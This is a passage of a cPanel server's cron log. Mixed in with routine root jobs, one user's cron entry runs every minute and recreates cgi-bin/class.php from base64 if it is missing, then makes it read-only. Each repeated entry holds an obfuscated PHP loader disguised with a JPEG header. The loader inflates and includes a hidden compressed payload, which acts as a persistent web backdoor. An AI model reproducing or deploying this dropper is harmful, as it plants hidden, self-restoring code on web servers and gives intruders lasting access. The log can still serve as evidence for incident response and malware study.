YKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:05:01 server CROND[6300]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 16:05:01 server CROND[6302]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 16:05:01 server CROND[6301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:05:01 server CROND[6305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 16:06:01 server CROND[6437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:07:02 server CROND[6507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:08:01 server CROND[6574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:09:01 server CROND[6645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:09:01 server CROND[6646]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 16:10:01 server CROND[6727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 16:10:01 server CROND[6728]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 16:10:01 server CROND[6730]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 16:10:01 server CROND[6731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:11:01 server CROND[6952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:12:01 server CROND[7021]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 16:12:01 server CROND[7022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:13:01 server CROND[7145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:14:01 server CROND[7214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:15:01 server CROND[7281]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 16:15:01 server CROND[7286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 16:15:01 server CROND[7287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:15:01 server CROND[7289]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 10 16:16:01 server CROND[7402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:17:01 server CROND[7462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 16:18:01 server CROND[7520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 